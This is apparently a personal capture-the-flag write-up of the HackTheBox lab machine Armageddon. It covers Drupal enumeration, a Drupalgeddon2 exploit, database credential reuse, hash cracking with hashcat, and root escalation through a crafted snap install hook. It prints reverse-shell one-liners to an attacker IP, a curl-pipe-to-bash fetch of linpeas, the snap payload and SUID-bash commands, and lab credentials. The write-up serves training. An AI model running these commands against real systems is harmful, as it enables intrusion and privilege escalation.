Armageddon - 10.10.10.233

Friday, September 16, 2022 10:17 PM

I start off with a nmap scan. nmap -Pn -T4 -sV -sC -A -p- -oN armageddon_nmap_results.txt 10.10.10.233

```
Shellshock:[/home/Shellshock/Documents/htb/armageddon] -> sudo nmap  -Pn -T4 -sV -sC -A -p- -oN armageddon_nmap
_results.txt 10.10.10.233
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-16 19:37 PDT
Nmap scan report for 10.10.10.233
Host is up (0.052s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to  Armageddon |  Armageddon
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=9/16%OT=22%CT=1%CU=30930%PV=Y%DS=2%DC=T%G=Y%TM=6325332
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=I%TS=A)SEQ(SP=1
OS:03%GCD=1%ISR=10A%TI=Z%II=I%TS=A)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%TS=A)SEQ(S
OS:P=103%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=A)OPS(O1=M539ST11NW7%O2=M539ST11NW
OS:7%O3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST11NW7%O6=M539ST11)WIN(W1=7120%
OS:W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M539N
OS:NSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=
OS:Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=A
OS:R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=4
OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=
OS:G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops

TRACEROUTE (using port 3306/tcp)
HOP RTT      ADDRESS
1   49.58 ms 10.10.14.1
2   49.62 ms 10.10.10.233

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.54 seconds
```

We can see so much here. port 22 ssh is open running protocol 2.0
Port 80 is open running apache httpd 2.4.6 (CentOS) php/5.4.16
It is running on Drupal 7
There is a robots.txt file with 36 disallowed entries which only 15 are shown. That means that 21 are not visible to us.
INSTALL.pgsql.txt and MAINTAINERS.txt files are standing out to me.

I first looked for exploits for protocol 2.0 on port 22, didn't find anything.
Up next is the robots.txt. It had all 36 allowed/disallowed entries listed.

User-agent: *
Crawl-delay: 10
CSS, JS, Images
Allow: /misc/*.css$
Allow: /misc/*.css?
Allow: /misc/*.js$
Allow: /misc/*.js?
Allow: /misc/*.gif

```
Allow: /misc/*.jpg
Allow: /misc/*.jpeg
Allow: /misc/*.png
Allow: /modules/*.css$
Allow: /modules/*.css?
Allow: /modules/*.js$
Allow: /modules/*.js?
Allow: /modules/*.gif
Allow: /modules/*.jpg
Allow: /modules/*.jpeg
Allow: /modules/*.png
Allow: /profiles/*.css$
Allow: /profiles/*.css?
Allow: /profiles/*.js$
Allow: /profiles/*.js?
Allow: /profiles/*.gif
Allow: /profiles/*.jpg
Allow: /profiles/*.jpeg
Allow: /profiles/*.png
Allow: /themes/*.css$
Allow: /themes/*.css?
Allow: /themes/*.js$
Allow: /themes/*.js?
Allow: /themes/*.gif
Allow: /themes/*.jpg
Allow: /themes/*.jpeg
Allow: /themes/*.png
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
```

Disallow: /?q=user/logout/

I saw /misc/ a lot and tried out 10.10.10.233/misc and It worked. We found more hidden directories. Now this is making me think that I should run a gobuster against 10.10.10.233. I Found lots of hidden directories from 10.10.10.233.

/LICENSE.txt (Status: 200) [Size: 18092]
/README.txt (Status: 200) [Size: 5382]
/authorize.php (Status: 403) [Size: 2824]
/cgi-bin/ (Status: 403) [Size: 210]
/cgi-bin/.html (Status: 403) [Size: 215]
/cron.php (Status: 403) [Size: 7388]
/includes (Status: 301) [Size: 237] [--> http://10.10.10.233/includes/]
/index.php (Status: 200) [Size: 7440]
/install.php (Status: 200) [Size: 3172]
/misc (Status: 301) [Size: 233] [--> http://10.10.10.233/misc/]
/modules (Status: 301) [Size: 236] [--> http://10.10.10.233/modules/]
/profiles (Status: 301) [Size: 237] [--> http://10.10.10.233/profiles/]
/robots.txt (Status: 200) [Size: 2189]
/robots.txt (Status: 200) [Size: 2189]
/scripts (Status: 301) [Size: 236] [--> http://10.10.10.233/scripts/]
/sites (Status: 301) [Size: 234] [--> http://10.10.10.233/sites/]
/themes (Status: 301) [Size: 235] [--> http://10.10.10.233/themes/]
/update.php (Status: 403) [Size: 4057]
/xmlrpc.php (Status: 200) [Size: 42]

I went through a huge list of directories that ill save you the trouble of reading every file output. I found one particular folder 10.10.10.233/sites/default. It had a settings.php file that had a lot of content in it. Scrolling through showed info on a database with the database name, user, pass.

I didn't have any where to plug these credentials in yet, so I made note of them and went to look for an exploit for drupal 7.56
I run searchsploit drupal

```
Shellshock:[/home/Shellshock/Documents/htb/armageddon] => searchsploit drupal
------------------------------------------------------------------------------ ----------------------------
 Exploit Title                                                                |  Path
------------------------------------------------------------------------------ ----------------------------
Drupal 4.0 - News Message HTML Injection                                      | php/webapps/21863.txt
Drupal 4.1/4.2 - Cross-Site Scripting                                         | php/webapps/22940.txt
Drupal 4.5.3 < 4.6.1 - Comments PHP Injection                                 | php/webapps/1088.pl
Drupal 4.7 - 'Attachment mod_mime' Remote Command Execution                   | php/webapps/1821.php
Drupal 4.x - URL-Encoded Input HTML Injection                                 | php/webapps/27020.txt
Drupal 5.2 - PHP Zend Hash ation Vector                                       | php/webapps/4510.txt
Drupal 5.21/6.16 - Denial of Service                                          | php/dos/10826.sh
Drupal 6.15 - Multiple Persistent Cross-Site Scripting Vulnerabilities        | php/webapps/11060.txt
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)             | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session)              | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1)   | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2)   | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution)      | php/webapps/35150.php
Drupal 7.12 - Multiple Vulnerabilities                                        | php/webapps/18564.txt
Drupal 7.x Module Services - Remote Code Execution                            | php/webapps/41564.php
Drupal < 4.7.6 - Post Comments Remote Command Execution                       | php/webapps/3313.pl
Drupal < 5.1 - Post Comments Remote Command Execution                         | php/webapps/3312.pl
Drupal < 5.22/6.16 - Multiple Vulnerabilities                                 | php/webapps/33706.txt
Drupal < 7.34 - Denial of Service                                             | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)      | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)   | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploi | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)  | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execut | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution                | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution                            | php/webapps/46459.py
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure              | php/webapps/44501.txt
Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (XSS)            | php/webapps/50841.txt
Drupal Module Ajax Checklist 5.x-1.0 - Multiple SQL Injections                | php/webapps/32415.txt
Drupal Module CAPTCHA - Security Bypass                                       | php/webapps/35335.html
Drupal Module CKEditor 3.0 < 3.6.2 - Persistent EventHandler Cross-Site Scripting | php/webapps/18389.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scriptin | php/webapps/25493.txt
Drupal Module CODER 2.5 - Remote Command Execution (Metasploit)               | php/webapps/40149.rb
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution                 | php/remote/40144.php
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting       | php/webapps/35397.txt
Drupal Module Drag & Drop Gallery 6.x-1.5 - 'upload.php' Arbitrary File Upload | php/webapps/37453.php
Drupal Module Embedded Media Field/Media 6.x : Video Flotsam/Media: Audio Flotsam - M | php/webapps/35072.txt
Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation                  | php/webapps/50361.txt
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)             | php/remote/40130.rb
Drupal Module Sections - Cross-Site Scripting                                 | php/webapps/10485.txt
Drupal Module Sections 5.x-1.2/6.x-1.2 - HTML Injection                       | php/webapps/33410.txt
------------------------------------------------------------------------------ ----------------------------
Shellcodes: No Results
------------------------------------------------------------------------------ ----------------------------
 Paper Title                                                                  |  Path
------------------------------------------------------------------------------ ----------------------------
[Turkish] Drupal Coder Vulnerability Analysis & MSF Module Dev                | docs/turkish/40244-[turkish]-dru
------------------------------------------------------------------------------ ----------------------------
```

I looked at 44449.rb and saw it was RCE without authentication or metasploit so I did searchsploit -m php/webapps/44449.rb
I did subl 44449.rb that way I can review and edit the code. subl is sublime. It's a text editor.
It looks like its adding a fake "shell.php" to the website and giving us a shell.
Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]
I run ./44449.rb 10.10.10.233 and get an error asking for a gem called highline. I found out what is was after some googling. Gotta love google.
I installed the highline gem and ran ./44449.rb 10.10.10.233 again and I got connected to armageddon.htb.

I run sudo -l and no luck. Were not allowed to run anything as sudo.

```
armageddon.htb>> sudo -l
sudo: unable to open /run/sudo/ts/apache: Permission denied

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

sudo: no tty present and no askpass program specified
sudo: unable to open audit system: Permission denied
sudo: unable to open audit system: Permission denied
```

I run a whoami
and we are apache

after running linpeas.sh on the machine with curl ip/linpeas.sh | bash
I find a few vulnerabilities it listed.

CVE-2021-4034
CVE-2018-14665
CVE-2016-0728
CVE-2014-0038
/run/snapd-snap.socket

and it was also able to print out /etc/passwd file to give us a user of brucetherealadmin.

I try to ssh brucetherealadmin@10.10.10.233 with the password we found earlier "CQHEy@9M*m23gBVj" in the settings.php file but no luck.

I tried running Enum4linux, pspy64, pspy32 and all those vulnerabilities listed on the linpeas.sh scan and none of them worked. The shell wasn't allowing us to do much. Kept getting back a lot of errors. At this point I was lost. I wasn't sure how to log into the mysql servers with the credentials I found. Mysql was my weak point. It is now improving after practice. I'm getting more confident on how to find the correct syntax to log into these servers. I went to ippsec

who is an amazing ethical hacker. You can find his Twitter here https://twitter.com/ippsec, his YouTube here https://www.youtube.com/c/ippsec where you'll find a lot of great content including but not limited to CTFs, and HackTheBox retired machines. I learned a lot from that one video. Particular more efficient ways to search for sensitive files, such as configs or setting files. Now, back to the box. Everything from this point I followed along with ippsec.

I log into the mysql server while on armageddon.htb who is an apache user on the domain.
mysql -u drupaluser --password=CQHEy@9M*m23gBVj -e 'show databases'

We get back a few databases. drupal was the name of the databases that was connected to that password we found earlier in the settings.php file

```
armageddon.htb>> mysql -u drupaluser --password=CQHEy@9M*m23gBVj -e 'show databases'
Database
information_schema
drupal
mysql
performance_schema
```

I'll use that database and see what tables are available for us to enumerate. For this we add the -D switch to use the database drupal
mysql -u drupaluser --password=CQHEy@9M*m23gBVj -D drupal -e 'show tables'
We get back a lot of tables, but users and users_roles stand out. We'll describe users to see what's there.

```
sessions
shortcut_set
shortcut_set_users
system
taxonomy_index
taxonomy_term_data
taxonomy_term_hierarchy
taxonomy_vocabulary
url_alias
users
users_roles
variable
watchdog
```

mysql -u drupaluser --password=CQHEy@9M*m23gBVj -D drupal -e 'describe users'
We get back the following information.

```
armageddon.htb>> mysql -u drupaluser --password=CQHEy@9M*m23gBVj -D drupal -e 'describe users'
Field   Type    Null    Key     Default Extra
uid     int(10) unsigned        NO      PRI     0
name    varchar(60)     NO      UNI
pass    varchar(128)    NO
mail    varchar(254)    YES     MUL
theme   varchar(255)    NO
signature       varchar(255)    NO
signature_format        varchar(255)    YES             NULL
created int(11) NO      MUL     0
access  int(11) NO      MUL     0
login   int(11) NO              0
status  tinyint(4)      NO              0
timezone        varchar(32)     YES             NULL
language        varchar(12)     NO
picture int(11) NO      MUL     0
init    varchar(254)    YES
data    longblob        YES             NULL
```

Now we can select the proper field types that we want output for. This way we don't get flooded with other information that we don't need. We only want uids, name, pass, logins
mysql -u drupaluser --password=CQHEy@9M*m23gBVj -D drupal -e 'select uid,name,pass,login from users'
We get a user and a hash. No admin since 0 is blank, but we get a user 1 brucetherealadmin.
brucetherealadmin SDgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

```
armageddon.htb>> mysql -u drupaluser --password=CQHEy@9M*m23gBVj -D drupal -e 'select uid,name,pass,login from users'
uid     name    pass    login
0               0
1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt 1607076276
```

We can crack this hash with either john the ripper or hashcat. But first we have to go to https://hashcat.net/wiki/doku.php?id=example_hashes to find out what the hash -m is. I go to the website and press the F3 key to bring up a search window and type the first 3 characters of this hash which is S and example hashes gives us 7900 Drupal7 SC33783772bRXEx1aCsvY.dqgaaSu76XmVlKrW9Qu8IQlvxHlmzLf which looks good since this machine is using Drupal 7. I make a hash.txt file and paste the hash that we found in the users table into hash.txt file and save it. Close it and cat hash.txt to make sure its there and it is. The hash file is ready.

I run hashcat hash.txt -m 7900 /usr/share/wordlists/rockyou.txt and it gets cracked. password is booboo

```
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 7900 (Drupal7)
Hash.Target......: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
Time.Started.....: Wed Sep 21 17:42:00 2022 (1 sec)
Time.Estimated...: Wed Sep 21 17:42:01 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      406 H/s (9.80ms) @ Accel:16 Loops:1024 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 256/14344385 (0.00%)
Rejected.........: 0/256 (0.00%)
Restore.Point....: 128/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:31744-32768
Candidate.Engine.: Device Generator
Candidates.#1....: carolina -> freedom
Hardware.Mon.#1..: Util: 43%
```

Now we got some credentials. brucetherealadmin:booboo I will try to ssh into this machine with these credentials.
ssh brucetherealadmin@10.10.10.233

```
Shellshock:[/home/Shellshock/Documents/htb/armageddon] -> ssh brucetherealadmin@10.10.10.233
brucetherealadmin@10.10.10.233's password:
Last login: Thu Sep 22 02:02:45 2022 from 10.10.14.14
[brucetherealadmin@armageddon ~]$
```

I use ls and there is a user.txt flag here.
cat user.txt will give us the flag.

```
[brucetherealadmin@armageddon ~]$ ls
user.txt
[brucetherealadmin@armageddon ~]$ cat user.txt
5fd213bea9e596b943590798c840ad08
[brucetherealadmin@armageddon ~]$
```

Now that I got control of a user account. I want to see what permissions have been granted to brucetherealadmin. To check these permissions I use sudo -l. I can run /usr/bin/snap install * as root with no password.

```
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *
[brucetherealadmin@armageddon ~]$
```

Snap is another form of apt-get, yum, which are all installation programs. So if we can find a script that exploits snap, we can have snap give it sudo permissions and escalate privileges.

I go to https://gtfobins.github.io/ which is a great site to find a list of binaries to bypass security misconfigurations. Snap is one of them.

It looks like its making a variable named command and giving command the value of the id command.
Its making a temp directory and changing into it.
It makes directories meta/hooks
it creates the shabang of #! /bin/bash, puts the id command in the script and writes it to a file named install. Which is located in the meta/hooks directories.
gives install chmod +x permissions that way it can be executed with root permissions.
and uses something called fpm which seems to be some kind of package manager. According to the github located here https://github.com/jordansissel/fpm
lastly it will use the persmissions of sudo that we was granted for brucetherealadmin and install the package with --dangerous --devmode
I google searched for snap --dangerous --devmode and brings me to https://snapcraft.io/docs/install-modes. It says --dangerous is used for testing local unsigned scripts and --devmode is used as developer mode for testing and viewing log output.

On my attacking machine I install fpm since it is part of the requirements of the exploit.
Copy the exploit code from gtfobins and paste it in my terminal.

```
COMMAND=id
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta
```

I cat out the file xxxx_1.0_all.snap to make sure its all there. It is.

```
cat xxxx_1.0_all.snap
```

```
Shellshock:[/tmp/tmp.Y2QQvdevKD] -> cat xxxx_1.0_all.snap
hsqsN+c/'#!/bin/sh
id; false---
name: xxxx
version: 1.0
summary: no description given
description: no description given
architectures:
- all
confinement: devmode
grade: devel
7zXZi"6M!x&&E]O&7)[N,0}`-f0OJiuK`J@
YZ]install$hookssnap.yamlhmeta(h$D!Shellshock:[/tmp/tmp.Y2QQvdevKD] ->
```

I host up a python http server using python3 -m http.server 80 in the directory that has the xxxx_1.0_all.snap file on my attacking machine.

on the victim_machine I curl the file and output it to a file called shock.snap
curl 10.10.14.14/xxxx_1.0_all.snap -o shock.snap
cat shock.snap and the file is set and ready.

```
[brucetherealadmin@armageddon ~]$ curl 10.10.14.14/xxxx_1.0_all.snap -o shock.snap
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  4096  100  4096    0     0  37396      0 --:--:-- --:--:-- --:--:-- 37577
[brucetherealadmin@armageddon ~]$ ls
shock.snap  user.txt
[brucetherealadmin@armageddon ~]$ cat shock.snap
hsqsN+c/'#!/bin/sh
id; false---
name: xxxx
version: 1.0
summary: no description given
description: no description given
architectures:
- all
confinement: devmode
grade: devel
7zXZi"6M!x&&E]O&7)[N,0}`-f0OJiuK`J@
YZ]install$hookssnap.yamlhmeta(h$D![brucetherealadmin@armageddon ~]$
```

gtfobins wants us to use the follow syntax.
sudo snap install xxxx_1.0_all.snap --dangerous --devmode
we'll switch out the xxxx_1.0_all.snap for shock.snap
sudo snap install shock.snap --dangerous --devmode

It does take 30 seconds to a minute to run which feels like a long time. But it does execute the id command and shows us as root.

```
YZ]install$hookssnap.yamlhmeta(h$D![brucetherealadmin@armageddon ~]$ sudo snap install shock.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_servic
```

At this point the gtfobin binary exploit works. We need to swap out the id command for something that will give us root permissions. But this shell is very wonky and a lot of reverse shell commands do not work. Such as
bash -c 'bash -i >& /dev/tcp/10.10.14.14/443 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.14 443 >/tmp/f

Ippsec changed the ownership of /bin/bash that originally belonged to root. This exploit will change the ownership of /bin/bash and give ownership to brucetherealadmin. brucetherealadmin will now be able to run /bin/bash as a root user. Which will escalate our privileges.

We replace the id command that was given to us from gtfobins with
chown root:root /home/brucetherealadmin/bash;chmod 4755 /home/brucetherealadmin/bash
and it will now look like this.

```
COMMAND="chown root:root /home/brucetherealadmin/bash;chmod 4755 /home/brucetherealadmin/bash"
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta
```

I killed my python3 http.server we had up earlier because now it brought us to a new directory. It's important you do this because your http.server will be in the wrong directory if you don't. You won't be able to transfer it over to the victim machine.

and make sure you remove the old shock.snap file that was on the victim machine that had the old id command in it.
curl the file over and rename it to shock.snap same as last time.
curl 10.10.14.14/xxxx_1.0_all.snap -o shock.snap cat out the file to make sure everything is there and it is.

Before we execute this, we have to change the path of /usr/bin/bash and put it in our current /home/brucetherealadmin directory. This is because brucetherealadmin has control over everything in his own /home directory. And we want bash to be here after we run the exploit that way the ownership is changed to us. We copy the path with cp /usr/bin/bash .
It now shows up in our home directory. Now we can run the snap exploit.
If you run ls -la you'll see right now we don't have root permissions. Still just brucetherealadmin.

```
[brucetherealadmin@armageddon ~]$ cp /usr/bin/bash .
[brucetherealadmin@armageddon ~]$ ls -la
total 964
drwx------. 2 brucetherealadmin brucetherealadmin    129 Sep 22 03:32 .
drwxr-xr-x. 3 root              root                  31 Dec  3  2020 ..
-rwxr-xr-x. 1 brucetherealadmin brucetherealadmin 964536 Sep 22 03:32 bash
lrwxrwxrwx. 1 root              root                   9 Dec 11  2020 .bash_history -> /dev/null
-rw-r--r--. 1 brucetherealadmin brucetherealadmin     18 Apr  1  2020 .bash_logout
-rw-r--r--. 1 brucetherealadmin brucetherealadmin    193 Apr  1  2020 .bash_profile
-rw-r--r--. 1 brucetherealadmin brucetherealadmin    231 Apr  1  2020 .bashrc
-rw-rw-r--. 1 brucetherealadmin brucetherealadmin   4096 Sep 22 03:28 shock.snap
-r--------. 1 brucetherealadmin brucetherealadmin     33 Sep 22 03:22 user.txt
[brucetherealadmin@armageddon ~]$
```

I run the command sudo snap install shock.snap --dangerous --devmode. The exploit works and changed ownership to root in our /home/brucetherealadmin directory. You'll notice if you do a ls and ls -la that it is highlighted red now. It is in our home directory with root permissions now.

```
[brucetherealadmin@armageddon ~]$ sudo snap install shock.snap --dangerous --devmode
Prepare snap "/var/lib/snapd/snaps/.local-install-368716350" (unset)
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": exit status 1)
[brucetherealadmin@armageddon ~]$
[brucetherealadmin@armageddon ~]$ ls
bash  shock.snap  user.txt
[brucetherealadmin@armageddon ~]$ ls -la
total 964
drwx------. 2 brucetherealadmin brucetherealadmin    129 Sep 22 03:32 .
drwxr-xr-x. 3 root              root                  31 Dec  3  2020 ..
-rwsr-xr-x. 1 root              root              964536 Sep 22 03:32 bash
lrwxrwxrwx. 1 root              root                   9 Dec 11  2020 .bash_history -> /dev/null
-rw-r--r--. 1 brucetherealadmin brucetherealadmin     18 Apr  1  2020 .bash_logout
-rw-r--r--. 1 brucetherealadmin brucetherealadmin    193 Apr  1  2020 .bash_profile
-rw-r--r--. 1 brucetherealadmin brucetherealadmin    231 Apr  1  2020 .bashrc
-rw-rw-r--. 1 brucetherealadmin brucetherealadmin   4096 Sep 22 03:28 shock.snap
-r--------. 1 brucetherealadmin brucetherealadmin     33 Sep 22 03:22 user.txt
```

We are still brucetherealadmin. But now we just have to use that bash binary and we'll be root.
./bash -p and we have changed our euid to root.

```
[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unco
:unconfined_t:s0-s0:c0.c1023
[brucetherealadmin@armageddon ~]$ ./bash -p
bash-4.2# id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) euid=0(root) groups=1000(brucetherealadmin)
:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

We can now change into /root with cd /root.
run ls to see what is there and the root.txt is there.
cat root.txt and it works. We got the root flag!

```
bash-4.2# cd /root
bash-4.2# ls
anaconda-ks.cfg  cleanup.sh  passwd  reset.sh  root.txt  snap
bash-4.2# cat root.txt
bc319c0125ab6cc6a2d5c31e8fed2eb0
```

SHELLSHOCKED!

After this, I wanted to play around with the snap exploit and see what else I could change ownership of. I was able to change ownership of pkexec, sudo, and lots of others. But for some reason this shell wouldn't execute them. I kept getting errors. But it was fun doing more and learning extra material.

Don't forget. You can find ippsec at here. Twitter here https://twitter.com/ippsec, his YouTube here https://www.youtube.com/c/ippsec